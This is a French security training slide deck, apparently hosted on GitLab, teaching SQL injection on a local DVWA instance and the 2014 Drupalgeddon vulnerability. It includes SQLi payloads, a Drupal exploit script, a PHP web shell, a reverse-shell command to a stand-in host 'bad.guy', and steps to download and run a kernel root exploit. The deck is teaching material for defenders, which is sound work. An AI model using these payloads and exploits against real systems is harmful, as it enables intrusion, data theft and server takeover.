Skip to content
Snippets Groups Projects
Select Git revision
  • de9f38498fec75677d8859a51ff501796a8f1585
  • master default
  • prez
3 results

sidoine.md

Blame
  • user avatar
    Vincent Mazenod authored
    de9f3849
    History

    SQLi

    Aka injections SQL

    Disclaimer

    Cette présentation explique comment fonctionne l'exploiter des services vulnérables aux injections SQL.

    Toutes les attaques sont réalisées sur des VMs en local.

    Il est vivement déconseillé de reproduire ces attaques sur une cible distante, sans la permission explicite (c'est à dire écrite et signée) de l'administrateur de cette cible!

    Selon la cible: Vous risquez gros!

    monsite.com

    Utilisateur:
    Mot de passe:

    Que se passe-t-il quand on appuie sur le bouton?

    basiquement ...

    SQLi

    Où sont les failles de sécurité?

    Note:

    • Le navigateur envoie le contenu des champs Utilisateur et Mot passe au serveur
      • en clair
    • Le serveur va chercher les informations concernant l' Utilisateur mazenovi dans sa base de données
      • dont le mot de passe
    • Le serveur compare ensuite la valeur du mot de passe issude la base de donnée avec celui qu'il a reçu du formulaire d'authentification
      • égalité = utilisateur authentifié
      • différence = utilisateur ou mot de passe invalide

    http = carte postale

    SQLi

    https = enveloppe cachetée

    SQLi

    Note:

    • Lors de la transmission du mot de passe => utiliser https

    ???

    SQLi

    Note:

    • Lors du stockage du mot de passe
      • Pourquoi?
        • Le mot de passe n'est jamais affiché et voilà

    sqli

    SQLi

    Note:

    • Lors du stockage du mot de passe
      • Pourquoi?
        • Le mot de passe n'est jamais affiché et voilà

    SQLi

    • faille n°1 dans le top 10 owasp
      • depuis plusieurs années
      • concerne tous les interpréteurs
      • concerne tous les langages
    • permet de
      • lire des données protégées
      • corrompre des données
      • dénis de services
      • lecture / écriture sur le système de fichiers
      • exécution de commandes arbitraires

    SQLi

    http://dv.wa/vulnerabilities/sqli/

    Tout commence par un message d'erreur anodin si on saisit les caractère ' au lieu de l'entier attendu

    You have an error in your SQL syntax; check the manual 
    that corresponds to your MySQL server version 
    for the right syntax to use near ''''' at line 1

    intéressant!?

    $id = $_GET['id'];
    $getid = "SELECT first_name, last_name 
              FROM users WHERE user_id = '$id'";
    $result = mysql_query($getid) or die(mysql_error());
    $num = mysql_numrows($result);
    $i = 0;
    while ($i < $num) {
        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name"); 
        echo '<pre>';
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>';
        $i++;
    } 

    le serveur exécute donc la requête

    SELECT first_name, last_name FROM users WHERE user_id = '''

    et renvoie une erreur! chaîne de caractère non terminée ...

    SQLi / détournement

    en suivant la logique

    SELECT first_name, last_name 
    FROM users WHERE user_id = '' OR 1=1

    devrait afficher la liste de tous les utilisateurs ...

    essayons de saisir la valeur ' OR 1=1 au lieu de l'entier attendu

    toujours la même erreur!

    Pourquoi?

    SQLi / détournement

    la requête exécutée est en fait

    SELECT first_name, last_name 
    FROM users WHERE user_id = '' OR 1=1'

    elle présente encore une erreur de chaîne de caractère non terminée!

    Comment faire?

    essayons avec le symbole de commentaire en ligne #

    SQLi / détournement

    on saisit maintenant la valeur ' OR 1=1# au lieu de l'entier attendu

    Ca marche :D

    SQLi / détournement

    Notez qu'on peut travailler directement sur l'url (industrialisation)

    http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit

    soit en version encodée

    http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit

    peut on atteindre les mots de passe?

    probablement dans la même table ...

    mais comment? on a pas la main sur la clause SELECT de la requête ...

    Say hello to UNION!

    SELECT column_name(s) FROM table1
    UNION
    SELECT column_name(s) FROM table2;

    Union

    Les clauses select doivent avoir le même nombre de champs!?

    comment deviner le nombre de champs d'une requête SQL?

    jouer avec order BY

    ' OR 1=1 ORDER BY 2#
    • si l'index correspond à un champs de la clause SELECT
      • la requête s'exécute
    • si l'index ne correspond pas à un champs de la clause SELECT
      • la requête échoue

    Affichage des mots de passe

    ' AND 1=0 UNION SELECT user, password FROM users#

    Les mots de passe sont hashés

    • SHA256(passeenclair)
      • 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4
    • SHA256(admin)
      • 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918
    • MD5(passeenclair) (cassé!)
      • 5452409edd9626898129c983ec443748

    sqli

    SQLi

    Note:

    • Mot de passe hashé

    Rainbow tables

    https://crackstation.net/

    • Hashs précalculés de mots de passe communs

    • 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918

      • sha256 - admin
    • 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4

      • ????

    Bonnes pratiques

    Bonnes pratiques

    Bonnes pratiques

    Bonnes pratiques

    SQLi de la vraie vie (2014)

    • les SQLi n'apparaissent pas (plus) de manière aussi grossière

    • Voici une vraie faille du CMS drupal ...

    Drupalgeddon

    La faille

    exploitable à partir du formulaire d'authentification!

    sans aucun privilège!

    Trouver un système vulnérable sur le www

    shodan HQ

    Google-Fu

    Timeline grand publique

    Timeline côté attaquant

    • 16 sept. 2014 : notification à Drupal
    • 15 oct. 2014 : publication du correctif
    • 15 oct. 2014, 4h après : exploitations en cours…
    • 16 oct. 2014 : de très nombreux Drupal compromis…

    La faille

    includes/database/database.inc ligne 738

    foreach (array_filter($args, 'is_array') as $key => $data) {         
      $new_keys = array();
      foreach ($data as $i => $value) {   
        $new_keys[$key . '_' . $i] = $value
      }
    }
    • $i est un index de tableau de variables HTTP
    • les valeurs des clés de $new_keys sont utilisées comme paramètres d'une requête SQL plus loin
      • il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP

    Le patch

    includes/database/database.inc ligne 738

    foreach (array_filter($args, 'is_array') as $key => $data) {         
      $new_keys = array();
      /* patched version begin */
      foreach (array_values($data) as $i => $value) {
      /* patched version end */
        $new_keys[$key . '_' . $i] = $value
      }
    }
    • array_values() retourne les valeurs du tableau array et l'indexe de façon numérique

    Note:

    • combien de dev PHP?
    • combien utilisent array_values()
    • forcer le type des paramètres est une bonne option
    • debugging et dump variable à creuser
      • code drupal compliqué ou mal fait

    Exploitation manuelle

    remplacer

    <input id="edit-name" name="name" type="text">

    par

    <input name="name[0; DELETE FROM flood;;#  ]" type="text" value="test3" />
    <input name="name[0]" type="text" value="test" />

    Down the rabbit hole

    Note:

    • mettre un mot de passe

    Exploit

    MKorostoff/drupalgeddon

    $url = $argv[1];
    $sql = $argv[2];
    $sql =   str_replace('{', '\' , CHAR(123), \'', $sql);
    $sql =   str_replace('}', '\' , CHAR(125), \'', $sql);
    $sql =   str_replace('[', '\' , CHAR(91), \'', $sql);
    $sql =   str_replace(']', '\' , CHAR(93), \'', $sql);
    $sql = urlencode($sql);
    
    //Send a request to the user login form
    $post_data = "name[0%20;".$sql.";;#%20%20]=test3&name[0]=test&pass=test";
    $post_data .= "&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
    $params = array(
        'http' => array(
        'method' => 'POST',
        'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
        'content' => $post_data
      )
    );
    $ctx = stream_context_create($params);
    $data = file_get_contents($url . '?q=node&destination=node', 1, $ctx);
    $ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood'

    Backdoor

    rerésente 68% des attaques

    Simple backdoor shell

    $malicious_file_to_upload = '<?php
    if(isset($_REQUEST["cmd"])){
      echo "<pre>";
      passthru($_REQUEST["cmd"]);
      die;
    }
    phpinfo();';

    Backdoor

    • Architecture Drupal
      • menu_router
        • un url = un callback + un tableau d'arguments sérialisés
    insert into menu_router values ('backdoor','','','file_put_contents',
    $attack_payload, '','','',0,0,0,'','','','','','','',0,'hacked','',0,'');

    Payload

    $attack_payload = array('sites/default/files/backdoor.php', $malicious_file_to_upload);
    $attack_payload = serialize($attack_payload);

    http://drup.al/backdoor

    Note:

    • bien entendu on appelle pas ça backdoor
    • en réalité l'exploit de Matt Korostoff marche avec un cookie
    • deux ou trois échappement sont nécessaire
    • même pas besoin créer le compte admin hein ...
      • automatisable à souhait

    exploitation

    $ php attack/exploit.php 'http://drup.al'

    exploitation

    nc -lvvp 1337

    met le poste de l'attaquant en écoute sur le port 1337

    http://drup.al/sites/default/files/backdoor.php?
    cmd=urlencode(bash -c 'bash -i >& /dev/tcp/bad.guy/1337 0>&1 ; bash');

    en version encodée

    http://drup.al/sites/default/files/backdoor.php?
    cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0```
    
    * connecte le serveur sur l'IP de l'attaquant
    
    Note:
    - discuter [Bind VS Reverse shell](http://www.go4expert.com/articles/difference-bind-shell-reverse-shell-t25408/)
    - Bind shell improbable
    - ICMP Reverse Shell passe par le protocole ICMP
      - analyse des ping wireshark
      - [Bypassing corporate firewall with reverse ssh port forwarding](https://toic.org/blog/2009/reverse-ssh-port-forwarding/)
        - sur ma maquette ca marche aussi sur le port 80 ...
    
    
    ## escalade de privilèges
    
    * [Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/)
      * environ tous les 2 ans
        * [CVE-2013-2094](https://github.com/realtalk/cve-2013-2094)
      * fonctionne sur les archi 64bits uniquement
      * kernel de 2.6.37 à 3.8.10
    
    ```shell
    $ # www.tux-planet.fr/public/hack/exploits/kernel/semtex.c is dead
    $ wget https://raw.githubusercontent.com/realtalk/cve-2013-2094/master/semtex.c
    $ gcc -O2 semtex.c
    $ ./a.out
    $ whoami

    W00T

    w00t!!!!

    Bonnes pratiques

    • un malheur n'arrive jamais seul
    • tout doit être à jour
      • système, lib, cms, services, ...
    • mieux vaut s'appuyer sur des communautés
      • réactives
      • préoccupées par la sécurité
    • bien suivre les mises à jour des produits
      • et patcher asap quand nécessaire